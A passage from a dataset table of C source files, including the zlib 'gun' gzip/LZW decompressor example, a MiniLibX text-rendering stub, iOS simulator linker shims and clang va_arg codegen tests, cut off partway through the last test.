file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/243894359.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* mlx_string_put.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: fcals <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/03/15 12:41:44 by fcals #+# #+# */
/* Updated: 2020/06/09 13:37:14 by fcals ### ########.fr */
/* */
/* ************************************************************************** */
#ifdef USE_SDL_TFF
# include <SDL_ttf.h>
static void colortosdl(SDL_Color *sdl, int color)
{
sdl->a = color & 0xff000000;
sdl->r = color & 0x00ff0000;
sdl->g = color & 0x0000ff00;
sdl->b = color & 0x000000ff;
}
int mlx_string_put(void *mlx_ptr, void *win_ptr, int x, int y,
int color, char *string)
{
SDL_Surface *image;
SDL_Color fg;
TTF_Font *font;
if (!(mlx_ptr) || !(win_ptr) || x < 0 || y < 0 || !(string))
return (0);
if (!(font = TTF_OpenFont("font.ttf", 20)))
return (0);
colortosdl(&fg, color);
image = TTF_RenderText_Solid(font, string, fg);
TTF_CloseFont(font);
if (!image)
return (0);
mlx_put_image_to_window(mlx_ptr, win_ptr, image, x, y);
SDL_FreeSurface(image);
return (0);
}
#else
int mlx_string_put(void *mlx_ptr, void *win_ptr, int x, int y,
int color, char *string)
{
(void)mlx_ptr;
(void)win_ptr;
(void)x;
(void)y;
(void)color;
(void)string;
return (0);
}
#endif
|
the_stack_data/34511854.c
|
/*
* Build into bitcode
* RUN: clang -O0 %s -emit-llvm -c -o %t.bc
* RUN: adsaopt -internalize -mem2reg -typechecks %t.bc -o %t.tc.bc
* RUN: tc-link %t.tc.bc -o %t.tc1.bc
* RUN: llc %t.tc1.bc -o %t.tc1.s
* RUN: clang++ %t.tc1.s -o %t.tc2
* Execute
* RUN: %t.tc2 >& %t.tc.out
* RUN: not grep "Type.*mismatch" %t.tc.out
*/
#include <stdarg.h>
#include <stdio.h>
//This is a basic use of vararg pointer use
static int get( int unused, ... )
{
va_list ap;
va_start( ap, unused );
int *val = va_arg( ap, int* );
va_end( ap );
va_start( ap, unused );
int *val1 = va_arg( ap, int* );
va_end( ap );
return *val;
}
int main()
{
int stack_val = 5;
int ret = get( 0, &stack_val );
return ret - 5;
}
|
the_stack_data/151054.c
|
/* gun.c -- simple gunzip to give an example of the use of inflateBack()
* Copyright (C) 2003, 2005 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
Version 1.3 12 June 2005 Mark Adler */
/* Version history:
1.0 16 Feb 2003 First version for testing of inflateBack()
1.1 21 Feb 2005 Decompress concatenated gzip streams
Remove use of "this" variable (C++ keyword)
Fix return value for in()
Improve allocation failure checking
Add typecasting for void * structures
Add -h option for command version and usage
Add a bunch of comments
1.2 20 Mar 2005 Add Unix compress (LZW) decompression
Copy file attributes from input file to output file
1.3 12 Jun 2005 Add casts for error messages [Oberhumer]
*/
/*
gun [ -t ] [ name ... ]
decompresses the data in the named gzip files. If no arguments are given,
gun will decompress from stdin to stdout. The names must end in .gz, -gz,
.z, -z, _z, or .Z. The uncompressed data will be written to a file name
with the suffix stripped. On success, the original file is deleted. On
failure, the output file is deleted. For most failures, the command will
continue to process the remaining names on the command line. A memory
allocation failure will abort the command. If -t is specified, then the
listed files or stdin will be tested as gzip files for integrity (without
checking for a proper suffix), no output will be written, and no files
will be deleted.
Like gzip, gun allows concatenated gzip streams and will decompress them,
writing all of the uncompressed data to the output. Unlike gzip, gun allows
an empty file on input, and will produce no error writing an empty output
file.
gun will also decompress files made by Unix compress, which uses LZW
compression. These files are automatically detected by virtue of their
magic header bytes. Since the end of Unix compress stream is marked by the
end-of-file, they cannot be concantenated. If a Unix compress stream is
encountered in an input file, it is the last stream in that file.
Like gunzip and uncompress, the file attributes of the original compressed
file are maintained in the final uncompressed file, to the extent that the
user permissions allow it.
On my Mac OS X PowerPC G4, gun is almost twice as fast as gunzip (version
1.2.4) is on the same file, when gun is linked with zlib 1.2.2. Also the
LZW decompression provided by gun is about twice as fast as the standard
Unix uncompress command.
*/
/* external functions and related types and constants */
#include <stdio.h> /* fprintf() */
#include <stdlib.h> /* malloc(), free() */
#include <string.h> /* strerror(), strcmp(), strlen(), memcpy() */
#include <errno.h> /* errno */
#include <fcntl.h> /* open() */
#include <unistd.h> /* read(), write(), close(), chown(), unlink() */
#include <sys/types.h>
#include <sys/stat.h> /* stat(), chmod() */
#include <utime.h> /* utime() */
#include "zlib.h" /* inflateBackInit(), inflateBack(), */
/* inflateBackEnd(), crc32() */
/* function declaration */
#define local static
/* buffer constants */
#define SIZE 32768U /* input and output buffer sizes */
#define PIECE 16384 /* limits i/o chunks for 16-bit int case */
/* structure for infback() to pass to input function in() -- it maintains the
input file and a buffer of size SIZE */
struct ind {
int infile;
unsigned char *inbuf;
};
/* Load input buffer, assumed to be empty, and return bytes loaded and a
pointer to them. read() is called until the buffer is full, or until it
returns end-of-file or error. Return 0 on error. */
local unsigned in(void *in_desc, unsigned char **buf)
{
int ret;
unsigned len;
unsigned char *next;
struct ind *me = (struct ind *)in_desc;
next = me->inbuf;
*buf = next;
len = 0;
do {
ret = PIECE;
if ((unsigned)ret > SIZE - len)
ret = (int)(SIZE - len);
ret = (int)read(me->infile, next, ret);
if (ret == -1) {
len = 0;
break;
}
next += ret;
len += ret;
} while (ret != 0 && len < SIZE);
return len;
}
/* structure for infback() to pass to output function out() -- it maintains the
output file, a running CRC-32 check on the output and the total number of
bytes output, both for checking against the gzip trailer. (The length in
the gzip trailer is stored modulo 2^32, so it's ok if a long is 32 bits and
the output is greater than 4 GB.) */
struct outd {
int outfile;
int check; /* true if checking crc and total */
unsigned long crc;
unsigned long total;
};
/* Write output buffer and update the CRC-32 and total bytes written. write()
is called until all of the output is written or an error is encountered.
On success out() returns 0. For a write failure, out() returns 1. If the
output file descriptor is -1, then nothing is written.
*/
local int out(void *out_desc, unsigned char *buf, unsigned len)
{
int ret;
struct outd *me = (struct outd *)out_desc;
if (me->check) {
me->crc = crc32(me->crc, buf, len);
me->total += len;
}
if (me->outfile != -1)
do {
ret = PIECE;
if ((unsigned)ret > len)
ret = (int)len;
ret = (int)write(me->outfile, buf, ret);
if (ret == -1)
return 1;
buf += ret;
len -= ret;
} while (len != 0);
return 0;
}
/* next input byte macro for use inside lunpipe() and gunpipe() */
#define NEXT() (have ? 0 : (have = in(indp, &next)), \
last = have ? (have--, (int)(*next++)) : -1)
/* memory for gunpipe() and lunpipe() --
the first 256 entries of prefix[] and suffix[] are never used, could
have offset the index, but it's faster to waste the memory */
unsigned char inbuf[SIZE]; /* input buffer */
unsigned char outbuf[SIZE]; /* output buffer */
unsigned short prefix[65536]; /* index to LZW prefix string */
unsigned char suffix[65536]; /* one-character LZW suffix */
unsigned char match[65280 + 2]; /* buffer for reversed match or gzip
32K sliding window */
/* throw out what's left in the current bits byte buffer (this is a vestigial
aspect of the compressed data format derived from an implementation that
made use of a special VAX machine instruction!) */
#define FLUSHCODE() \
do { \
left = 0; \
rem = 0; \
if (chunk > have) { \
chunk -= have; \
have = 0; \
if (NEXT() == -1) \
break; \
chunk--; \
if (chunk > have) { \
chunk = have = 0; \
break; \
} \
} \
have -= chunk; \
next += chunk; \
chunk = 0; \
} while (0)
/* Decompress a compress (LZW) file from indp to outfile. The compress magic
header (two bytes) has already been read and verified. There are have bytes
of buffered input at next. strm is used for passing error information back
to gunpipe().
lunpipe() will return Z_OK on success, Z_BUF_ERROR for an unexpected end of
file, read error, or write error (a write error indicated by strm->next_in
not equal to Z_NULL), or Z_DATA_ERROR for invalid input.
*/
local int lunpipe(unsigned have, unsigned char *next, struct ind *indp,
int outfile, z_stream *strm)
{
int last; /* last byte read by NEXT(), or -1 if EOF */
int chunk; /* bytes left in current chunk */
int left; /* bits left in rem */
unsigned rem; /* unused bits from input */
int bits; /* current bits per code */
unsigned code; /* code, table traversal index */
unsigned mask; /* mask for current bits codes */
int max; /* maximum bits per code for this stream */
int flags; /* compress flags, then block compress flag */
unsigned end; /* last valid entry in prefix/suffix tables */
unsigned temp; /* current code */
unsigned prev; /* previous code */
unsigned final; /* last character written for previous code */
unsigned stack; /* next position for reversed string */
unsigned outcnt; /* bytes in output buffer */
struct outd outd; /* output structure */
/* set up output */
outd.outfile = outfile;
outd.check = 0;
/* process remainder of compress header -- a flags byte */
flags = NEXT();
if (last == -1)
return Z_BUF_ERROR;
if (flags & 0x60) {
strm->msg = (char *)"unknown lzw flags set";
return Z_DATA_ERROR;
}
max = flags & 0x1f;
if (max < 9 || max > 16) {
strm->msg = (char *)"lzw bits out of range";
return Z_DATA_ERROR;
}
if (max == 9) /* 9 doesn't really mean 9 */
max = 10;
flags &= 0x80; /* true if block compress */
/* clear table */
bits = 9;
mask = 0x1ff;
end = flags ? 256 : 255;
/* set up: get first 9-bit code, which is the first decompressed byte, but
don't create a table entry until the next code */
if (NEXT() == -1) /* no compressed data is ok */
return Z_OK;
final = prev = (unsigned)last; /* low 8 bits of code */
if (NEXT() == -1) /* missing a bit */
return Z_BUF_ERROR;
if (last & 1) { /* code must be < 256 */
strm->msg = (char *)"invalid lzw code";
return Z_DATA_ERROR;
}
rem = (unsigned)last >> 1; /* remaining 7 bits */
left = 7;
chunk = bits - 2; /* 7 bytes left in this chunk */
outbuf[0] = (unsigned char)final; /* write first decompressed byte */
outcnt = 1;
/* decode codes */
stack = 0;
for (;;) {
/* if the table will be full after this, increment the code size */
if (end >= mask && bits < max) {
FLUSHCODE();
bits++;
mask <<= 1;
mask++;
}
/* get a code of length bits */
if (chunk == 0) /* decrement chunk modulo bits */
chunk = bits;
code = rem; /* low bits of code */
if (NEXT() == -1) { /* EOF is end of compressed data */
/* write remaining buffered output */
if (outcnt && out(&outd, outbuf, outcnt)) {
strm->next_in = outbuf; /* signal write error */
return Z_BUF_ERROR;
}
return Z_OK;
}
code += (unsigned)last << left; /* middle (or high) bits of code */
left += 8;
chunk--;
if (bits > left) { /* need more bits */
if (NEXT() == -1) /* can't end in middle of code */
return Z_BUF_ERROR;
code += (unsigned)last << left; /* high bits of code */
left += 8;
chunk--;
}
code &= mask; /* mask to current code length */
left -= bits; /* number of unused bits */
rem = (unsigned)last >> (8 - left); /* unused bits from last byte */
/* process clear code (256) */
if (code == 256 && flags) {
FLUSHCODE();
bits = 9; /* initialize bits and mask */
mask = 0x1ff;
end = 255; /* empty table */
continue; /* get next code */
}
/* special code to reuse last match */
temp = code; /* save the current code */
if (code > end) {
/* Be picky on the allowed code here, and make sure that the code
we drop through (prev) will be a valid index so that random
input does not cause an exception. The code != end + 1 check is
empirically derived, and not checked in the original uncompress
code. If this ever causes a problem, that check could be safely
removed. Leaving this check in greatly improves gun's ability
to detect random or corrupted input after a compress header.
In any case, the prev > end check must be retained. */
if (code != end + 1 || prev > end) {
strm->msg = (char *)"invalid lzw code";
return Z_DATA_ERROR;
}
match[stack++] = (unsigned char)final;
code = prev;
}
/* walk through linked list to generate output in reverse order */
while (code >= 256) {
match[stack++] = suffix[code];
code = prefix[code];
}
match[stack++] = (unsigned char)code;
final = code;
/* link new table entry */
if (end < mask) {
end++;
prefix[end] = (unsigned short)prev;
suffix[end] = (unsigned char)final;
}
/* set previous code for next iteration */
prev = temp;
/* write output in forward order */
while (stack > SIZE - outcnt) {
while (outcnt < SIZE)
outbuf[outcnt++] = match[--stack];
if (out(&outd, outbuf, outcnt)) {
strm->next_in = outbuf; /* signal write error */
return Z_BUF_ERROR;
}
outcnt = 0;
}
do {
outbuf[outcnt++] = match[--stack];
} while (stack);
/* loop for next code with final and prev as the last match, rem and
left provide the first 0..7 bits of the next code, end is the last
valid table entry */
}
}
/* Decompress a gzip file from infile to outfile. strm is assumed to have been
successfully initialized with inflateBackInit(). The input file may consist
of a series of gzip streams, in which case all of them will be decompressed
to the output file. If outfile is -1, then the gzip stream(s) integrity is
checked and nothing is written.
The return value is a zlib error code: Z_MEM_ERROR if out of memory,
Z_DATA_ERROR if the header or the compressed data is invalid, or if the
trailer CRC-32 check or length doesn't match, Z_BUF_ERROR if the input ends
prematurely or a write error occurs, or Z_ERRNO if junk (not a another gzip
stream) follows a valid gzip stream.
*/
local int gunpipe(z_stream *strm, int infile, int outfile)
{
int ret, first, last;
unsigned have, flags, len;
unsigned char *next;
struct ind ind, *indp;
struct outd outd;
/* setup input buffer */
ind.infile = infile;
ind.inbuf = inbuf;
indp = &ind;
/* decompress concatenated gzip streams */
have = 0; /* no input data read in yet */
first = 1; /* looking for first gzip header */
strm->next_in = Z_NULL; /* so Z_BUF_ERROR means EOF */
for (;;) {
/* look for the two magic header bytes for a gzip stream */
if (NEXT() == -1) {
ret = Z_OK;
break; /* empty gzip stream is ok */
}
if (last != 31 || (NEXT() != 139 && last != 157)) {
strm->msg = (char *)"incorrect header check";
ret = first ? Z_DATA_ERROR : Z_ERRNO;
break; /* not a gzip or compress header */
}
first = 0; /* next non-header is junk */
/* process a compress (LZW) file -- can't be concatenated after this */
if (last == 157) {
ret = lunpipe(have, next, indp, outfile, strm);
break;
}
/* process remainder of gzip header */
ret = Z_BUF_ERROR;
if (NEXT() != 8) { /* only deflate method allowed */
if (last == -1) break;
strm->msg = (char *)"unknown compression method";
ret = Z_DATA_ERROR;
break;
}
flags = NEXT(); /* header flags */
NEXT(); /* discard mod time, xflgs, os */
NEXT();
NEXT();
NEXT();
NEXT();
NEXT();
if (last == -1) break;
if (flags & 0xe0) {
strm->msg = (char *)"unknown header flags set";
ret = Z_DATA_ERROR;
break;
}
if (flags & 4) { /* extra field */
len = NEXT();
len += (unsigned)(NEXT()) << 8;
if (last == -1) break;
while (len > have) {
len -= have;
have = 0;
if (NEXT() == -1) break;
len--;
}
if (last == -1) break;
have -= len;
next += len;
}
if (flags & 8) /* file name */
while (NEXT() != 0 && last != -1)
;
if (flags & 16) /* comment */
while (NEXT() != 0 && last != -1)
;
if (flags & 2) { /* header crc */
NEXT();
NEXT();
}
if (last == -1) break;
/* set up output */
outd.outfile = outfile;
outd.check = 1;
outd.crc = crc32(0L, Z_NULL, 0);
outd.total = 0;
/* decompress data to output */
strm->next_in = next;
strm->avail_in = have;
ret = inflateBack(strm, in, indp, out, &outd);
if (ret != Z_STREAM_END) break;
next = strm->next_in;
have = strm->avail_in;
strm->next_in = Z_NULL; /* so Z_BUF_ERROR means EOF */
/* check trailer */
ret = Z_BUF_ERROR;
if (NEXT() != (outd.crc & 0xff) ||
NEXT() != ((outd.crc >> 8) & 0xff) ||
NEXT() != ((outd.crc >> 16) & 0xff) ||
NEXT() != ((outd.crc >> 24) & 0xff)) {
/* crc error */
if (last != -1) {
strm->msg = (char *)"incorrect data check";
ret = Z_DATA_ERROR;
}
break;
}
if (NEXT() != (outd.total & 0xff) ||
NEXT() != ((outd.total >> 8) & 0xff) ||
NEXT() != ((outd.total >> 16) & 0xff) ||
NEXT() != ((outd.total >> 24) & 0xff)) {
/* length error */
if (last != -1) {
strm->msg = (char *)"incorrect length check";
ret = Z_DATA_ERROR;
}
break;
}
/* go back and look for another gzip stream */
}
/* clean up and return */
return ret;
}
/* Copy file attributes, from -> to, as best we can. This is best effort, so
no errors are reported. The mode bits, including suid, sgid, and the sticky
bit are copied (if allowed), the owner's user id and group id are copied
(again if allowed), and the access and modify times are copied. */
local void copymeta(char *from, char *to)
{
struct stat was;
struct utimbuf when;
/* get all of from's Unix meta data, return if not a regular file */
if (stat(from, &was) != 0 || (was.st_mode & S_IFMT) != S_IFREG)
return;
/* set to's mode bits, ignore errors */
(void)chmod(to, was.st_mode & 07777);
/* copy owner's user and group, ignore errors */
(void)chown(to, was.st_uid, was.st_gid);
/* copy access and modify times, ignore errors */
when.actime = was.st_atime;
when.modtime = was.st_mtime;
(void)utime(to, &when);
}
/* Decompress the file inname to the file outnname, of if test is true, just
decompress without writing and check the gzip trailer for integrity. If
inname is NULL or an empty string, read from stdin. If outname is NULL or
an empty string, write to stdout. strm is a pre-initialized inflateBack
structure. When appropriate, copy the file attributes from inname to
outname.
gunzip() returns 1 if there is an out-of-memory error or an unexpected
return code from gunpipe(). Otherwise it returns 0.
*/
local int gunzip(z_stream *strm, char *inname, char *outname, int test)
{
int ret;
int infile, outfile;
/* open files */
if (inname == NULL || *inname == 0) {
inname = "-";
infile = 0; /* stdin */
}
else {
infile = open(inname, O_RDONLY, 0);
if (infile == -1) {
fprintf(stderr, "gun cannot open %s\n", inname);
return 0;
}
}
if (test)
outfile = -1;
else if (outname == NULL || *outname == 0) {
outname = "-";
outfile = 1; /* stdout */
}
else {
outfile = open(outname, O_CREAT | O_TRUNC | O_WRONLY, 0666);
if (outfile == -1) {
close(infile);
fprintf(stderr, "gun cannot create %s\n", outname);
return 0;
}
}
errno = 0;
/* decompress */
ret = gunpipe(strm, infile, outfile);
if (outfile > 2) close(outfile);
if (infile > 2) close(infile);
/* interpret result */
switch (ret) {
case Z_OK:
case Z_ERRNO:
if (infile > 2 && outfile > 2) {
copymeta(inname, outname); /* copy attributes */
unlink(inname);
}
if (ret == Z_ERRNO)
fprintf(stderr, "gun warning: trailing garbage ignored in %s\n",
inname);
break;
case Z_DATA_ERROR:
if (outfile > 2) unlink(outname);
fprintf(stderr, "gun data error on %s: %s\n", inname, strm->msg);
break;
case Z_MEM_ERROR:
if (outfile > 2) unlink(outname);
fprintf(stderr, "gun out of memory error--aborting\n");
return 1;
case Z_BUF_ERROR:
if (outfile > 2) unlink(outname);
if (strm->next_in != Z_NULL) {
fprintf(stderr, "gun write error on %s: %s\n",
outname, strerror(errno));
}
else if (errno) {
fprintf(stderr, "gun read error on %s: %s\n",
inname, strerror(errno));
}
else {
fprintf(stderr, "gun unexpected end of file on %s\n",
inname);
}
break;
default:
if (outfile > 2) unlink(outname);
fprintf(stderr, "gun internal error--aborting\n");
return 1;
}
return 0;
}
/* Process the gun command line arguments. See the command syntax near the
beginning of this source file. */
int main(int argc, char **argv)
{
int ret, len, test;
char *outname;
unsigned char *window;
z_stream strm;
/* initialize inflateBack state for repeated use */
window = match; /* reuse LZW match buffer */
strm.zalloc = Z_NULL;
strm.zfree = Z_NULL;
strm.opaque = Z_NULL;
ret = inflateBackInit(&strm, 15, window);
if (ret != Z_OK) {
fprintf(stderr, "gun out of memory error--aborting\n");
return 1;
}
/* decompress each file to the same name with the suffix removed */
argc--;
argv++;
test = 0;
if (argc && strcmp(*argv, "-h") == 0) {
fprintf(stderr, "gun 1.3 (12 Jun 2005)\n");
fprintf(stderr, "Copyright (c) 2005 Mark Adler\n");
fprintf(stderr, "usage: gun [-t] [file1.gz [file2.Z ...]]\n");
return 0;
}
if (argc && strcmp(*argv, "-t") == 0) {
test = 1;
argc--;
argv++;
}
if (argc)
do {
if (test)
outname = NULL;
else {
len = (int)strlen(*argv);
if (strcmp(*argv + len - 3, ".gz") == 0 ||
strcmp(*argv + len - 3, "-gz") == 0)
len -= 3;
else if (strcmp(*argv + len - 2, ".z") == 0 ||
strcmp(*argv + len - 2, "-z") == 0 ||
strcmp(*argv + len - 2, "_z") == 0 ||
strcmp(*argv + len - 2, ".Z") == 0)
len -= 2;
else {
fprintf(stderr, "gun error: no gz type on %s--skipping\n",
*argv);
continue;
}
outname = malloc(len + 1);
if (outname == NULL) {
fprintf(stderr, "gun out of memory error--aborting\n");
ret = 1;
break;
}
memcpy(outname, *argv, len);
outname[len] = 0;
}
ret = gunzip(&strm, *argv, outname, test);
if (outname != NULL) free(outname);
if (ret) break;
} while (argv++, --argc);
else
ret = gunzip(&strm, NULL, NULL, test);
/* clean up */
inflateBackEnd(&strm);
return ret;
}
|
the_stack_data/844088.c
|
#include <stdio.h>
extern char* Version();
int main() {
printf("Version() --> '%s'\n", Version());
return 0;
}
|
the_stack_data/1027078.c
|
//
// simulatorHelper.c
// ColdKeySwift
//
// Created by Huang Yu on 8/4/15.
// Copyright (c) 2015 BitGo, Inc. All rights reserved.
//
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
FILE *fopen$UNIX2003( const char *filename, const char *mode )
{
return fopen(filename, mode);
}
int fputs$UNIX2003(const char *res1, FILE *res2){
return fputs(res1,res2);
}
int nanosleep$UNIX2003(int val){
return usleep(val);
}
char* strerror$UNIX2003(int errornum){
return strerror(errornum);
}
double strtod$UNIX2003(const char *nptr, char **endptr){
return strtod(nptr, endptr);
}
size_t fwrite$UNIX2003( const void *a, size_t b, size_t c, FILE *d )
{
return fwrite(a, b, c, d);
}
|
the_stack_data/76700351.c
|
// RUN: %clang_cc1 -triple arm64-linux-gnu -emit-llvm -o - %s | FileCheck --check-prefix=CHECK --check-prefix=CHECK-LE %s
// RUN: %clang_cc1 -triple arm64_be-linux-gnu -emit-llvm -o - %s | FileCheck --check-prefix=CHECK --check-prefix=CHECK-BE %s
#include <stdarg.h>
// Obviously there's more than one way to implement va_arg. This test should at
// least prevent unintentional regressions caused by refactoring.
va_list the_list;
int simple_int(void) {
// CHECK-LABEL: define i32 @simple_int
return va_arg(the_list, int);
// CHECK: [[GR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[GR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG:[a-z_.0-9]+]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[GR_OFFS]], 8
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 1)
// CHECK: [[REG_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[GR_OFFS]]
// CHECK-BE: [[REG_ADDR_VAL:%[0-9]+]] = ptrtoint i8* [[REG_ADDR]] to i64
// CHECK-BE: [[REG_ADDR_VAL_ALIGNED:%[a-z_0-9]*]] = add i64 [[REG_ADDR_VAL]], 4
// CHECK-BE: [[REG_ADDR:%[0-9]+]] = inttoptr i64 [[REG_ADDR_VAL_ALIGNED]] to i8*
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast i8* [[REG_ADDR]] to i32*
// CHECK: br label %[[VAARG_END:[a-z._0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[STACK]], i32 8
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK-BE: [[STACK_VAL:%[0-9]+]] = ptrtoint i8* [[STACK]] to i64
// CHECK-BE: [[STACK_VAL_ALIGNED:%[a-z_0-9]*]] = add i64 [[STACK_VAL]], 4
// CHECK-BE: [[STACK:%[0-9]+]] = inttoptr i64 [[STACK_VAL_ALIGNED]] to i8*
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[STACK]] to i32*
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi i32* [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
// CHECK: [[RESULT:%[a-z_0-9]+]] = load i32* [[ADDR]]
// CHECK: ret i32 [[RESULT]]
}
__int128 aligned_int(void) {
// CHECK-LABEL: define i128 @aligned_int
return va_arg(the_list, __int128);
// CHECK: [[GR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[GR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG:[a-z_.0-9]+]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK: [[ALIGN_REGOFFS:%[a-z_0-9]+]] = add i32 [[GR_OFFS]], 15
// CHECK: [[ALIGNED_REGOFFS:%[a-z_0-9]+]] = and i32 [[ALIGN_REGOFFS]], -16
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[ALIGNED_REGOFFS]], 16
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 1)
// CHECK: [[REG_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[ALIGNED_REGOFFS]]
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast i8* [[REG_ADDR]] to i128*
// CHECK: br label %[[VAARG_END:[a-z._0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[STACKINT:%[a-z_0-9]+]] = ptrtoint i8* [[STACK]] to i64
// CHECK: [[ALIGN_STACK:%[a-z_0-9]+]] = add i64 [[STACKINT]], 15
// CHECK: [[ALIGNED_STACK_INT:%[a-z_0-9]+]] = and i64 [[ALIGN_STACK]], -16
// CHECK: [[ALIGNED_STACK_PTR:%[a-z_0-9]+]] = inttoptr i64 [[ALIGNED_STACK_INT]] to i8*
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[ALIGNED_STACK_PTR]], i32 16
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[ALIGNED_STACK_PTR]] to i128*
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi i128* [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
// CHECK: [[RESULT:%[a-z_0-9]+]] = load i128* [[ADDR]]
// CHECK: ret i128 [[RESULT]]
}
struct bigstruct {
int a[10];
};
struct bigstruct simple_indirect(void) {
// CHECK-LABEL: define void @simple_indirect
return va_arg(the_list, struct bigstruct);
// CHECK: [[GR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[GR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG:[a-z_.0-9]+]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK-NOT: and i32
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[GR_OFFS]], 8
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 1)
// CHECK: [[REG_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[GR_OFFS]]
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast i8* [[REG_ADDR]] to %struct.bigstruct**
// CHECK: br label %[[VAARG_END:[a-z._0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK-NOT: and i64
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[STACK]], i32 8
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[STACK]] to %struct.bigstruct**
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi %struct.bigstruct** [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
// CHECK: load %struct.bigstruct** [[ADDR]]
}
struct aligned_bigstruct {
float a;
long double b;
};
struct aligned_bigstruct simple_aligned_indirect(void) {
// CHECK-LABEL: define void @simple_aligned_indirect
return va_arg(the_list, struct aligned_bigstruct);
